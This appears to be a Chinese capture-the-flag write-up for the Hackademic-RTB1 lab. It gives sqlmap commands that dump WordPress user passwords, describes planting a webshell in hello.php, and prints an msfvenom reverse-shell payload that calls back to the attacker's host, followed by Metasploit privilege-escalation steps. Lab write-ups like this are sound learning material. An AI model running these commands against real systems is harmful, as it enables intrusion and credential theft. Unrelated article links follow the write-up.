CTF入门:以Hackademic-RTB1靶场为例初识夺旗

news/2024/12/23 20:41:13 标签: 网络, 运维

一、网络扫描

        靶机ip地址为192.168.12.24

        使用nmap工具进行端口扫描

nmap -sT 192.168.12.24

二、信息收集

1、80端口探索

        靶机开放了80和22端口,使用浏览器访问靶机的80端口,界面如下:

        点击target发现有跳转,并且url发生相应变化。下面两处也有跳转

        点击uncategorized,url发生变化,尝试在cat=1后面加上单引号,测试是否存在sql注入

        加入单引号后,页面报错了,还将sql语句打印出来了,说明存在sql注入漏洞,在终端中使用sqlmap工具对这个链接进行注入测试

2、SQL注入(使用sqlmap扫描)

        http://192.168.12.24/Hackademic_RTB1/?cat=1

2.1爆所有库名
sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 --dbs --batch

2.2查询当前数据库表名

        从数据库的名称猜测网站使用的是wordpress建站系统,先获取一下wordpress库中数据表名

sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 -D wordpress --tables

2.3获取wp_users表下所有列名
sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users --columns

2.4爆用户名及密码
sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users -C user_nickname,user_pass --dump --batch

        爆破出明文密码了

三、使用AntSword工具

1、登录后台

        我们猜测站点为wordpress,使用login.php访问后台失败,根据前面的表名我们猜测后台为wp-login.php

2、查找可利用点

        使用爆破出来的用户和密码进行登录,最终发现GeorgeMiller/q1w2e3为管理员,在Manage下file里可以修改php文件,直接修改hello.php文件,添加一句话木马,并更新文件

        这里hello.php文件的路径已经给出来,我们可以直接使用AntSword进行连接

        成功连接后进入终端

        输入id查看权限,实验的目的是获取存在于/root目录下的Key.txt文件,直接使用当前shell读取时发现权限不够

四、反弹shell

1、生成木马

        需要将权限提升到root权限,可以使用msf中的检测提升权限的模块,这样就需要先生成一个

msf的木马上传到服务器中,在kali中打开一个终端,输入命令生成一个木马文件

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.12.200 LPORT=4444 -f elf -o /root/Desktop/shell

2、设置端口

        然后在终端中启动msf并监听4444端口

3、上传木马到蚁剑并执行

        将生成的shell文件通过AntSword上传到目标服务器中。切换到AntSword主页面然后双击shell链接会打开AntSword的文件管理界面

        再切换到虚拟终端界面,使用chmod +x ./shell给文件加上可执行权限,然后输入./shell执行文件

4、反弹shell成功,开启监听

        执行完上面的命令后就会在msf收到反弹的shell了

        因为要用到msf中的其他模块,所以先将此meterpreter的shell放到后台,在上面shell中输入background

五、提权

        从上面中可以看到后台的shell编号为1,这个后面要用到,使用msf中的后渗透模块post/multi/recon/local_exploit_suggester,然后设置session为2,设置完成后输入run进行攻击

        尝试使用其中的exploit/linux/local/rds_rds_page_copy_user_priv_esc模块,然后根据options中的提示设置session、lhost、lport,全部设置完成后输入run进行攻击。

六、获取flag

        读取/root下的key.txt文件

        获取flag:flag{6d73f0c141dd7faf24dc9393792ebecc}


http://www.niftyadmin.cn/n/5796976.html

相关文章

分布式协同 - 分布式事务_2PC 3PC解决方案

文章目录 导图Pre2PC(Two-Phase Commit)协议准备阶段提交阶段情况 1:只要有一个事务参与者反馈未就绪(no ready),事务协调者就会回滚事务情况 2:当所有事务参与者均反馈就绪(ready&a…

常用类晨考day15

1.基本数据类型以及对应包装类 Byte Short Integer Long Float Double Boolean Character 2.什么是自动拆箱和装箱,jdk版本有什么要求?代码举 例并标明 Integer a 100; // 装箱 int b a; // 拆箱 从JDK1.5才开始支持 3.NumberFormatException是什么异常…

ES6学习函数(四)

这里写目录标题 一、带参数默认值的函数二、rest参数三、箭头函数一、箭头函数二、箭头函数的作用2.1、使表达更加简洁2.2、简化回调函数 三、箭头函数使用注意点3.1、没有this绑定3.2、箭头函数中没有arguments对象3.3、箭头函数不能使用new关键字来实例化对象 一、带参数默认…

c++---------数据类型

基本数据类型 整数类型(Integral Types) int(整型) 这是最常用的整数类型,通常用于存储一般范围的整数值。在32位系统中,int类型一般占用4个字节,取值范围大约是 - 2147483648到2147483647。例如…

Cmd命令大全(万字详细版)

1. 常用命令 1.1 cd命令 //进入d盘 D: //进入F盘 F: cd /? //获取使用帮助cd \ //跳转到硬盘的根目录cd C:\WINDOWS //跳转到当前硬盘的其他文件d: //跳转到其他硬盘cd /d e:\software //跳转到其他硬盘的其他文件夹,注意此处必须加/d参数。…

瑞吉外卖项目学习笔记(四)@TableField(fill = FieldFill.INSERT)公共字段填充、启用/禁用/修改员工信息

瑞吉外卖项目学习笔记(一)准备工作、员工登录功能实现 瑞吉外卖项目学习笔记(二)Swagger、logback、表单校验和参数打印功能的实现 瑞吉外卖项目学习笔记(三)过滤器实现登录校验、添加员工、分页查询员工信息 文章目录 7 修改员工信息7.1 启用/禁用员工账号7.1.1 需求梳理7.1.2…

vscode怎么设置anaconda python解释器(anaconda解释器、vscode解释器)

文章目录 先在ananconda prompt里创建并激活了虚拟环境,然后执行where python,显示的第一个就是这个虚拟环境python解释器路径:然后我们可以在vscode里添加这个python解释器: 先在ananconda prompt里创建并激活了虚拟环境&#xf…

【从零开始入门unity游戏开发之——C#篇25】C#面向对象动态多态——virtual、override 和 base 关键字、抽象类和抽象方法

文章目录 多态多态的主要类型 一、virtual、override 和 base 关键字1、**virtual 关键字** (虚方法)2、**override 关键字** (重写)3、**base 关键字** (基类访问)4、总结: 二、抽象类和抽象方法1、抽象类1.1 什么是抽象类1.2 定义和使用抽象类 2、抽象方法2.1 什么…